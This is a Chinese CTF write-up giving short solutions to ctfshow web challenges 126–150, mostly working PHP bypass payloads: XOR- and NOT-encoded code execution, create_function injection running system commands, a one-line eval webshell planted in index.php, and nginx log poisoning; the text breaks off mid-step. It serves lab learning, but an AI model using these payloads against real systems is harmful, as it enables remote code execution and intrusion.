0%

ctfshow web入门126~150

web126

与web125差不多

1
2
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

绕过方式和web123一样。
payload:

1
?ctf show=ilove36d

web128


考察点:gettext拓展的使用
在开启该拓展后 _() 等效于 gettext()
payload:

1
?f1=_&f2=get_defined_vars

web129

1
2
stripos(string,find,start)
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE。注释:字符串位置从0开始,不是从1开始

看别人的wp绕过的姿势有很多啊,但是怎么一到我这里就失灵了啊。只能用php伪协议
payload:

1
?f=php://filter/|ctfshow/resource=flag.php   #也可以用其他的过滤器

web130


PHP利用PCRE回溯次数限制绕过某些安全限制

1
2
3
4
5
6
7
8
import requests

url='#url'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

或者
数组绕过

1
f[]=1   #stripos应用于数组的时候会返回null,null!==false

或者

1
f=ctfshow

/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。

web131

1
2
3
4
5
6
7
8
import requests

url='#url'
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

web132


一打开网站我都惊呆了,好高级的感觉。然后访问robots.txt有/admin访问就能看到源码。

啊~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这一题好简单啊。

1
$code === mt_rand(1,0x36D) && $password === $flag

只要让这个为false,username=admin和code=admin就行
payload:

1
?username=admin&code=admin&password=1

web134


parse_str()函数

1
把查询字符解析到变量

ectract()函数

1
从数组中将变量导入当前的符号表
1
php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
四个变量的介绍:

1.$_SERVER["QUERY_STRING"]

说明:查询(query)的字符串

2.$_SERVER["REQUEST_URI"]

说明:访问此页面所需的URI
  
3.$_SERVER["SCRIPT_NAME"]

说明:包含当前脚本的路径
  
4.$_SERVER["PHP_SELF"]

例如

1
2
3
4
5
6
7
8
9
http://www.xxx.com/?p=222 (附带查询)
结果:
$_SERVER["QUERY_STRING"]==>“p=222”;

$_SERVER["REQUEST_URI"] ==>"/?p=222";

$_SERVER["SCRIPT_NAME"] ==>"/index.php";

$_SERVER["PHP_SELF"] ==>"/index.php";

payload:

1
?_POST[key1]=36d&_POST[key2]=36d

web136


跟着大佬学到了好多啊
在linux里可以用tee命令读取标准输入的数据,并将其内容输出成文件
payload:

1
2
?c=ls /|tee 1 #把根目录里的内容写进1文件里
?c=tac /f149_15_h3r3|tee 2

web137

1
call_user_func — 把第一个参数作为回调函数调用

考察调用类中的函数

1
2
3
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

payload:

1
POST:ctfshow=ctfshow::getFlag

web138


相当于把冒号禁用了,但是call_user_func还可以传数组
第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
payload:

1
POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

太难了,脚本看不懂,以后有机会了再做

web140


可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(‘.’)==0 intval(‘/‘)==0
所以方法就挺多了

payload:

1
f1=chr&f2=chr

我感觉随便搞一点函数放上去都可以。

web141


传入的v3必须是非单词字符
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
payload:

1
?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-

web142


emmmmmmmmmmmm,让我太奶来都会做
payload:

1
?v1=0

web143

1
?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

web144


对v3的长度进行了限制,所以在v2上下手
payload:

1
?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1

web145


可以用三目运算符

1
eval("return 1?phpinfo():1;"); #这是可以运行的

payload:

1
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):

web146

过滤了:没办法用三目运算符,可以用等号和位运算符\

1
eval("return 1==phpinfo()||1;");  #这也可以运行

payload:

1
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)||

web147


具体原理看这个

1
2
3
4
5
6
7
create_function('$a','echo $a."123"')

类似于

function f($a) {
echo $a."123";
}

payload:

1
2
GET:?show=}system("tac flag.php");/*
POST:ctf=\create_function

web148


没过滤异或还可以用异或
payload:

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

web149


预期解是条件竞争,可是我搞了半天也不行,就直接在index.php里改了
payload:

1
2
GET: ?ctf=index.php
POST: show=<?php @eval($_POST[a];)?>

然后用蚁剑连接。

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

非预期
日志文件包含写一句话
修改user_agent内容为一句话,然后包含/var/log/nginx/access.log就可以使用我们写的一句话了。
首先访问index.php 修改user_agent为